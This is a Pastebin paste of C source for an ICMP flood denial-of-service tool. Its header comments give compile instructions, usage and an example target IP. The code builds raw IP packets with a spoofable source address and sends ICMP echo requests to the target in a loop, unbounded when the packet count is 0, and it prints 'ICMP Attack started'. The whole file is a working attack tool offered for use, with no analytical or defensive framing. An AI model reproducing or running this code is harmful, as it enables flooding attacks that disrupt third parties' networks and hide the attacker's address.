Advertisement
1337ings

[C] ICMP-Flood

Nov 4th, 2016
1,731
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.79 KB | None | 0 0
  1. /***
  2. * _____ _____ __ __ _____ ______ _ _
  3. * |_ _/ ____| \/ | __ \ | ____| | | |
  4. * | || | | \ / | |__) |_____| |__ | | ___ ___ __| |
  5. * | || | | |\/| | ___/______| __| | |/ _ \ / _ \ / _` |
  6. * _| || |____| | | | | | | | | (_) | (_) | (_| |
  7. * |_____\_____|_| |_|_| |_| |_|\___/ \___/ \__,_|
  8. *
  9. *
  10. * /!\ C O M P I L E /!\
  11. *
  12. * gcc icmp-flood.c -pthread -o icmp-flood
  13. *
  14. *
  15. * /!\ C O M M A N D S /!\
  16. *
  17. * Usage: ./icmp-flood <dest> <target> <packets>
  18. * <dest> = your host
  19. * <target> = target IP address
  20. * <packets> = is the number of packets size
  21. * Example: ./icmp-flood 127.0.0.1 72.92.38.28 65500
  22. *
  23. *
  24. * _____ _ _ _
  25. * / ____| | (_) |
  26. * | | _ __ ___ __| |_| |_ ___
  27. * | | | '__/ _ \/ _` | | __/ __|
  28. * | |____| | | __/ (_| | | |_\__ \
  29. * \_____|_| \___|\__,_|_|\__|___/
  30. *
  31. *
  32. *
  33. * /!\ Chris Poole | @codingplanets /!\
  34. *
  35. */
  36. #include <stdio.h>
  37. #include <stdlib.h>
  38. #include <sys/types.h>
  39. #include <sys/socket.h>
  40. #include <netdb.h>
  41. #include <netinet/in.h>
  42. #include <netinet/in_systm.h>
  43. #include <netinet/ip.h>
  44. #include <netinet/ip_icmp.h>
  45. #include <string.h>
  46. #include <arpa/inet.h>
  47.  
  48. #define BUFFER_SIZE 400
  49. #define PACKET_DELAY_USEC 30
  50. #define DEF_NUM_PACKETS 100
  51.  
  52. char buf[BUFFER_SIZE];
  53.  
  54. char *usage = "\nUsage: ./icmpflood <dest> <target> <packets>\n \
  55. <dest> = your host\n \
  56. <target> = target IP address\n \
  57. <packets> = is the number of packets size\n \
  58. Example: ./icmp 127.0.0.1 72.92.38.28 65500 \n";
  59.  
  60. void set_ip_layer_fields(struct icmphdr *icmp, struct ip *ip)
  61. {
  62. // IP Layer
  63. ip->ip_v = 4;
  64. ip->ip_hl = sizeof*ip >> 2;
  65. ip->ip_tos = 0;
  66. ip->ip_len = htons(sizeof(buf));
  67. ip->ip_id = htons(4321);
  68. ip->ip_off = htons(0);
  69. ip->ip_ttl = 255;
  70. ip->ip_p = 1;
  71. ip->ip_sum = 0; /* Let kernel fill in */
  72.  
  73. // ICMP Layer
  74. icmp->type = ICMP_ECHO;
  75. icmp->code = 0;
  76. icmp->checksum = htons(~(ICMP_ECHO << 8));
  77. }
  78.  
  79. void set_socket_options(int s)
  80. {
  81. int on = 1;
  82.  
  83. // Enable broadcast
  84. if(setsockopt(s, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0){
  85. perror("setsockopt() for BROADCAST error");
  86. exit(1);
  87. }
  88.  
  89. // socket options, tell the kernel we provide the IP structure
  90. if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){
  91. perror("setsockopt() for IP_HDRINCL error");
  92. exit(1);
  93. }
  94. }
  95.  
  96. int main(int argc, char *argv[])
  97. {
  98. int s, i;
  99. struct ip *ip = (struct ip *)buf;
  100. struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
  101. struct hostent *hp, *hp2;
  102. struct sockaddr_in dst;
  103. int offset;
  104. int num = DEF_NUM_PACKETS;
  105.  
  106. if(argc < 3){
  107. fprintf(stdout, "%s\n",usage);
  108. exit(1);
  109. }
  110.  
  111. // If enough arguments supplied
  112. if(argc == 4)
  113. num = atoi(argv[3]);
  114.  
  115. // Loop based on the packet number
  116. for(i = 1; num == 0 ? num == 0 : i <= num; i++){
  117. // Clear data paylod
  118. memset(buf, 0, sizeof(buf));
  119.  
  120. // Create RAW socket
  121. if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
  122. perror("socket() error");
  123. exit(1);
  124. }
  125.  
  126. set_socket_options(s);
  127.  
  128. if((hp = gethostbyname(argv[2])) == NULL){
  129. if((ip->ip_dst.s_addr = inet_addr(argv[2])) == -1){
  130. fprintf(stderr, "%s: Can't resolve, unknown host.\n", argv[2]);
  131. exit(1);
  132. }
  133. }else
  134. memcpy(&ip->ip_dst.s_addr, hp->h_addr_list[0], hp->h_length);
  135.  
  136. if((hp2 = gethostbyname(argv[1])) == NULL){
  137. if((ip->ip_src.s_addr = inet_addr(argv[1])) == -1){
  138. fprintf(stderr, "%s: Can't resolve, unknown host\n", argv[1]);
  139. exit(1);
  140. }
  141. }else
  142. memcpy(&ip->ip_src.s_addr, hp2->h_addr_list[0], hp->h_length);
  143.  
  144. set_ip_layer_fields(icmp, ip);
  145.  
  146. dst.sin_addr = ip->ip_dst;
  147. dst.sin_family = AF_INET;
  148.  
  149. if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0){
  150. fprintf(stderr, "Error during packet send.\n");
  151. perror("sendto() error");
  152. }else
  153. printf(" \n \
  154. -`- ICMP Attack started -`- \n \
  155. \n \
  156. -`- Coded by Chris Poole | @codingplanets -`-\n \
  157. \n");
  158.  
  159. close(s);
  160. usleep(PACKET_DELAY_USEC);
  161. }
  162. return 0;
  163. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement